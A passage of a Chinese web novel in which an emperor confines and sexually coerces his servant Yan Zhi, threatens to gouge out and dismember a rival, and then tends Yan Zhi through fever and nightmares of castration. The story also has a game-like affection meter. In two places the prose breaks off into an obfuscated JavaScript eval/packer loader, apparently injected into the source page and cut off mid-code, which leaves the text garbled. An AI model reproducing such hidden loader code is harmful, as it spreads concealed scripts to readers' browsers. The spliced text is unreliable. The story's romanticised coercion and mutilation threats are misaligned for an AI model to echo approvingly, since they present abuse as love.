其实他根本没听见陛下说了什么,他只是被陛下的冷厉镇住了。 他只是低着头,咬着下唇,耳边盘旋着自己方才说的话—— 可是陛下都不喜欢我…… 陛下都不相信我…… 陛下连我交朋友都不相信…… 见他哭得惨了,萧篡又将他抱进怀里。 身影交叠。 两个人面对着面,杂乱无章的心跳重叠在一起。 萧篡深吸一口气,稍稍放轻声音,又道:“朕不喜欢你,你也不能不喜欢朕,更不能跑去喜欢别人,懂了吗?” 燕枝没有点头,也没有摇头,只觉得被陛下说话时震动的胸膛,震得脸颊发麻。 他不回答,萧篡又问:“懂了吗?” 直到燕枝轻轻地点了点头,萧篡才施舍一般,抬起手,摸摸他的脑袋。 “近来你太不乖了,又是拈花惹草,又是和外人拉拉扯扯的,日日都不安分。” “你什么时候变乖点,朕就什么时候喜欢你一点。” 16.炫耀 16 “喜欢陛下……” “特别喜欢……非常喜欢……天下第一喜欢……” “奴喜欢陛下……” 黑暗的牢房里。 地上铺着干草,干草上铺着衣裳,萧篡坐在衣裳上。 燕枝则跨坐在萧篡的腿上。 他双手环着陛下的脖颈,脑袋埋在他的肩上,呜呜咽咽地、把这些话说了一遍又一遍。 陛下不喜欢他,但喜欢听他说这些话,只喜欢听。 所以要他一遍一遍地说。 萧篡双手掐着燕枝的腰,把他扶稳,不让他歪到一边去。 没两下,燕枝就没了力气,不仅动作慢了下去,说话声音也弱了下去。 萧篡微微偏过头,侧耳去听,直到听见他还在喃喃地重复着“喜欢陛下”,才心满意足地勾起嘴角。 不错,关他半刻钟,再教他两句,他是学乖了很多。 萧篡收紧了手,把他按得更紧。 “再来一回。” “不要……”燕枝摇着头抗拒,“受不住了。” “别乱动。”萧篡拍了一下他的腰背,“朕还没消气,卖力点。” 可燕枝实在是使不上力气了。 他软软地倒进萧篡怀里,闭上眼睛,不管不顾地就要睡过去。 小破罐子破摔。 萧篡接住他,握住他垂下来的手臂,让他把双臂环在自己的腰上,又抬起他的头,让他把脑袋靠在自己的肩上。 萧篡也没急着再来一回,就这样抱着他,回味余韵。 燕枝累极了,微微仰着头,小口小口地喘着气。 萧篡偏头瞧了他一眼,随后贴上他的脸颊,学着他的模样,应和着他的呼吸,极其恶劣地学他喘气。 “怎么跟个小风箱似的?” 燕枝垂下眼睛,没有说话。 萧篡又往前靠了靠,胸膛贴上他的心口。 隔着皮肉骨血,两颗心脏也贴在一起。 萧篡闭了闭眼睛,试着调整自己的心跳。 黑暗里,在萧篡的刻意控制下,两个人呼吸相和,心跳相应。 同呼同吸,同起同落。 所有一切,都重叠在一起,仿佛融为一体。 不知道过了多久,萧篡睁开眼睛,低头看去。 燕枝已经趴在他怀里睡着了,呼吸匀长,心跳平缓。 萧篡吻了吻燕枝的发顶,随后拽过丢在旁边的衣裳,单衣他自己穿着,外裳给燕枝裹上。 燕枝原先的衣裳全是外人的气味,不能再穿了,要穿必须穿他的。 萧篡举起燕枝的手,把他的手臂套进自己的衣袖里,使劲拢了拢,把他裹得严严实实的。 就像捕获猎物,打包礼物一样。 最后,萧篡一手扶着燕枝的腰,一手抄起他的腿弯,直接把他抱了起来。 回家! 净身房潮湿阴暗,一排排牢房隔间,由狭长的走廊串联。 宫人太监在一开始,都被萧篡遣散出去了。 萧篡抱着燕枝,走在空无一人的走廊上。 路过一个牢房的时候,萧篡忽然皱起眉头,偏头睨了一眼旁边。 其中一间牢房里,竟然传来了有人背文章的声音—— “故天将降大任于……” 萧篡只听了半句,就明白过来,低头看向怀里的燕枝,轻轻摇了摇他。 “啧,蠢货,是你的谢公子——” “谢公子”三个字,萧篡故意拖着长音念出来,阴阳怪气的。 “你最在意的谢公子——” “你唯一的好友谢公子——” “要不要进去看看他?” 燕枝睡得很沉,自然没有听见,也没有回答。 萧篡低低地笑了一声,最后道:“走,朕带你进去见见他。” 萧篡抱着燕枝,往回倒了两步,来到发出声音的牢房前。 他只用单手就稳稳地抱住燕枝,腾出一只手来,拽开牢房门上的锁链。 听见外面有动静,牢房里的声音也停下了。 谢仪原本是盘腿坐在地上的,门打开的时候,他扶着墙,站了起来,退到牢房最里面,摆出防备的姿态。 牢房里没有窗子,但走廊上有。 开在顶上的、一排很小很小的窗洞。 今日天色很好,日光从外面照进来,晃了一下谢仪的眼睛。 他在黑暗里待了有一会儿,一时间无法适应,下意识遮住双眼。 几息之后,他眼前白光散去。 身形高大,气势威严的帝王,出现在牢房门前。 帝王怀里似乎还抱着什么东西,用衣裳裹得严严实实的。 但东西不大,反倒是衣裳太宽太大,衣袖与衣摆都垂落下来,在他面前轻轻摇晃。 谢仪一时分辨不出,不过多看了两眼,帝王便皱起眉头,神色不耐,从喉咙里挤出两声低低的“呼噜”声。 是野兽感觉到威胁,反过来威胁对方的声音。 威压愈盛。 谢仪回过神来,忍着身上疼痛,俯身行礼:“拜见陛下。” 萧篡抱着燕枝,就站在牢房门外,没进去,也没说话。 他皱着眉头,冷冷地打量着谢仪,越看眉头皱得越深。 就这么一个小白脸,生得没他高,没他壮,长得也不如他英武。 到底有什么好的? 燕枝非要和他做什么朋友。 谢仪跪在地上,俯身叩首,好半晌没听见帝王开口,心中不免忐忑,出了一身冷汗,几乎浸湿背后衣裳。 不知道过了多久,才听见帝王冷淡的声音从他头顶传来—— “燕枝是朕的人。” 只有这句话。 仅有这句话。 说完这句话,帝王便转身离开。 谢仪不明就里,下意识抬起头,却见帝王转身的瞬间,一截手腕从他怀里滑了出来。 一截素白纤细的手腕,上面带着淡淡的青红痕迹,特别是腕上突起来的那块小骨头,完全被磨红破皮了。 下一刻,萧篡猛地抓住这截手腕,塞回衣裳里,回过头,用狩猎一般锐利的目光,死死盯住谢仪。 谢仪强忍住心中震动,忙不迭再次俯身低头,一双眼睛只敢瞧着地面。 是燕枝公子! 他终于明白过来,陛下怀里的,不是什么东西,而是燕枝公子! 他整个人都僵住了,汗珠与泪珠一同往下落。 是燕枝公子…… 是他害了燕枝公子。 他不该给燕枝公子带糖糕的。 他不该想着报恩,跟燕枝公子走太近的。 他不该…… 谢仪越发俯下身,额头抵着地面,整个人几乎要趴在地上,一动不动。 长靴踏过石砖地面,踏过地上散落的干草,最后停在他面前。 “燕枝是朕的人。” 萧篡冷声重复一遍,似乎是怕他听不懂,又道—— “你再敢看一眼,朕挖了你的眼睛。” “你再敢碰一下,朕剁了你的双手。” “你再敢跟他说一句话,朕拔了你的舌头。” “你敢对他动心,朕把你的心挖出来喂狗。” 谢仪心惊胆战,不敢说话,也不知道该说什么。 下一刻,萧篡捂住燕枝的耳朵,厉声呵斥:“听明白了吗?” 谢仪忙不迭答道:“明白……草民明白……” 尽管这样问,但萧篡其实并不在意他的回答。 就算他回答“不明白”,萧篡也会有各种手段让他明白。 所幸他还算识趣,萧篡最后睨了他一眼,抱着燕枝,转身走了。 他走后,谢仪脱了力,倒在地上,一阵后怕,又听见廊上传来帝王的声音—— “怎么?醒了?故意伸手勾.引他?” 燕枝没有回答,一直都是帝王在说。 “没醒?那就是在梦里也想着勾.引他?” “坏小狗,还是欠教训。” 萧篡抱着燕枝,走出净身房。 外边日头正好,日光暖融融的,照在燕枝身上。 燕枝受不了这样刺眼的日光,别过头去,把脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“把燕枝的衣裳都收起来。” “陛下?”宫人不解。 “再取一套朕的中衣,送过来。” “是。” 萧篡吩咐完这件事情,就带着燕枝穿过后殿,来到温泉池边。 隔着帷帐,宫人脚步无声,将衣裳放下。 萧篡抱着燕枝,走进池里。 池水温热,将二人包围。 萧篡靠在石壁上,调整好燕枝的姿势,转头拿起搭在旁边的巾子,沾了点水,擦去他脸上的灰尘和血迹。 擦完了脸,萧篡又继续往下,擦拭他的脖颈、肩膀,举起他的胳膊,抬起他的腿。 上上下下,里里外外,都要擦拭干净。 萧篡抚弄着燕枝的脊背,粗粝的指尖顺着他的腰背划下去。 要是可以,他还真想跟洗布娃娃似的,把燕枝的拉链拉开,把里边的棉花掏出来,洗洗干净,日晒消毒,再重装好。 水面摇晃,水波荡漾,发出轻响。 洗得差不多了,水声掩映之下,萧篡低低地念了一句:“系统面板——” 一声“叮咚”响起。 萧篡丢开巾子,一手搂着燕枝,一手挥散面前水雾。 他的面前分明没有什么独特的东西,可是他的目光穿透水雾,直直地望向不远处,看了很久。 良久良久之后,他才像是终于下定决心,朝反方向摆了一下手,低头看向燕枝,贴了贴他异常泛红的脸蛋。 “要是你这阵子乖乖的,就让你进后宫、做——” 话还没完,萧篡眉头一皱,抬手一摸燕枝的额头,猛然反应过来。 反手抱起他,“哗啦”一声从池子里站起来。 “蠢货!发热了也不知道说!” 17.警报 17 大起大落,大悲大恸。 燕枝从北凉山猎场回来的时候,本就染了风寒,一连喝了两三日的苦药才好转。 如今被萧篡狠狠地吓唬一番,又被他重重地折腾一场,燕枝昏过去没一会儿,就发起热来。 直到这时,萧篡才知道—— 燕枝这个蠢货,他是昏过去的,不是睡过去的! 萧篡感觉不对,摸了摸他的额头,忙不迭把他从温泉池子里捞出来,擦去他身上水渍,胡乱给他套上衣裳。 最后抱起他,大步朝正殿走去。 “来人!传太医!” “是。” 守在外边的宫人听见吩咐,赶忙应了一声,跑着去请太医。 萧篡脚步匆匆,走路带风,反身撞开正殿殿门,抱着燕枝跨过门槛,走了进去。 他将燕枝放在榻上,又扯过榻里的被子,给他盖上。 可是燕枝一离开他的怀抱,挣开他的束缚,就翻了个身,背对着他,把自己蜷了起来。 萧篡动作一顿,随后扣住他的肩膀,让他转回来,平躺在榻上。 结果他一松手,燕枝马上又转了回去。 萧篡皱着眉头,把他抓回来,用力按住他:“怎么真跟小狗似的?学不会四脚朝天躺着?” 燕枝扭着身子,挣扎起来。 不知道为什么,他就是不想这样躺着。 陛下在他面前,他总是感觉到一股强势的威压。 如同一座大山压在他的身上心上,压得他喘不过气来。 方才是他被陛下抱着,无论如何都没办法挣开。 现在陛下终于把他放下,他终于能够自由行动,他当然要扑腾着翅膀,不顾一切地逃离。 “蠢货,躺好了!再乱动把你送回净身房!” 此话一出,燕枝果然安静下来。 萧篡试着松开手,见燕枝不再乱动,安安分分地躺好了,这才转过身,大步走到殿外。 “人呢?太医呢?” 不多时,宫人便带着几个太医,急匆匆地赶了过来。 “陛下……” 一行人正要俯身行礼,就被萧篡喊住了。 “别废话,进去看看。” “是。” 几个太医提着药箱,马不停蹄地赶到床榻前。 可下一瞬,待看清床榻上的情形之后,他们都愣了一下。 “陛下……” “又怎么了?” 萧篡神色不耐地应了一声,走了回来。 众人向两边退开,为他让出一条路来。 “燕枝公子似是被梦魇住了。若是如此,臣等……无法为他看诊……” 床榻之上—— 不知道什么时候,燕枝趁着萧篡不在,又把自己蜷成一团,躲到了角落里。 他是陛下的人,太医自然不敢胡乱伸手去碰,更不敢伸手去抓,所以…… “这个蠢货。” “躲躲躲,不知道在躲什么,一天天的,跟有狗在后面追似的。” “太医都来了还躲!” 萧篡低低地骂了一声,朝燕枝伸出手—— * 漆黑的石砌牢房,连窗子都没有,透不出一丝光亮。 用浸了水的麦秸塞住耳朵,秸秆像是在耳朵里生了根,听不见一丁点动静。 ——这就是净身房的牢房。 燕枝刚刚离开的地方。 虽然燕枝的身子被萧篡从牢房里抱了出来,但是他的魂魄还被留在那里。 他的心、他的思绪、他的念头,还全部停留在那里。 恍惚之间,他好像又回到了八岁那年。 万物复苏的春日,他被卖进宫里,被一个孔武有力的老太监拖进净身房。 那时候的他,像一头小牛犊,虽然瘦弱不堪,但是用尽全身力气挣扎,好几次都挣脱了老太监的桎梏,冲到了净身房外边,差一步就能逃出去。 可他最后还是被老太监抓了回来。 老太监照着他的脑袋,狠狠地捶了他一拳,把他打得头昏脑涨,眼冒金星,最后拖着昏死过去的他,把他拖进牢房里。 似乎也是走廊上的最后一间牢房。 燕枝至今都记得牢房里阴冷潮湿的气味。 瘦瘦小小的他躺在地上,稍微有了点力气,就跌跌撞撞地爬起来,嚎啕大哭,拍门大喊。 他一开始喊的是“救命”,后来喊的是“我错了”。 要被阉掉的小太监,不能吃饭,也不能喝水,更没有人陪他说话。 几日几夜的独自禁闭,让他极度恐惧。 燕枝怕黑,怕鬼,怕自己一个人待着。 “对不起,我错了!” “有没有人能跟我说说话?” “净身疼吗?我会死吗?我很能忍疼的,我能不能现在就净身?” “呜呜,我好怕,这里有鬼!我好怕……” 可就算他把嗓子都喊哑了,把手都拍出血了,还是没有人理他。 他没了力气,倒在牢房的地上,呆呆地望着黑暗。 又饿又怕到了极致,仿佛眼前有白光闪过。 白光尽头,死去多年的娘亲身披羽衣,乘着祥云,出现在他眼前,朝他伸出手。 八岁的燕枝露出笑容,正准备把手递给娘亲。 可下一瞬,十八岁的燕枝恢复理智,占据上风—— 陛下会来救我的! 这只是噩梦而已! 噩梦之后,陛下会来救我的! 十三岁的少年陛下,会像天神一样,从天而降,把我救下来的! 娘亲,对不起,我还不能死,陛下会来救我的…… 娘亲临走的时候,让我好好活下去,我还能活下去…… 我还想活下去…… 就在这时,“哐”的一声—— 牢房门被人从外面推开。 燕枝眼中瞬间燃起希冀的火光。 陛下来救他了!是陛下来救他了! 他挣扎着,想爬起来。 可下一刻—— ——一只粗糙有力的大手,钳住了他的肩膀,直接把他抓了起来。 ——太医宫人围簇的床榻前,帝王穿过人群,朝榻上的燕枝伸出手。 不对,这不是陛下! 是行刑人! 是来阉了他的行刑人! 燕枝几乎是瞬间就反应过来,开始挣扎。 “松手!放开我!陛下会来救我的!陛下……陛下救我……” ——行刑人身形高大,如山一般,死死地将他压制。 ——床榻之上,燕枝奋力挣扎,萧篡牢牢按住他的肩膀。 ——“陛下救我!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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萧篡不曾防备,被他推得往踉跄一步,正好撞上太医。 太医撞上宫人,宫人又撞上了身后烛台器皿。 东西砸了一地,一片混乱,动静不断。 萧篡无暇顾及,迅速稳住身形,猛地抬起头,不敢置信地看向燕枝。 燕枝双眼通红,面上还挂着泪,但是执拗坚定,奋起反抗的模样,和八岁的他一模一样。 既然他能反抗行刑人,那他也可以反抗陛下! 既然陛下变成了行刑人,那他就不要陛下了! 既然陛下总是欺负他,总是吓唬他。 那他就不要陛下了!再也不要陛下了! 燕枝握紧拳头,下定决心的瞬间,刺眼的警报灯闪动,刺耳的警报声响起—— 警报!警报! 该角色对玩家好感度已降至六十点! 该角色对玩家好感度已降至二十点! 该角色对玩家好感度已降至……五点! 该角色对玩家好感度……五……四……三……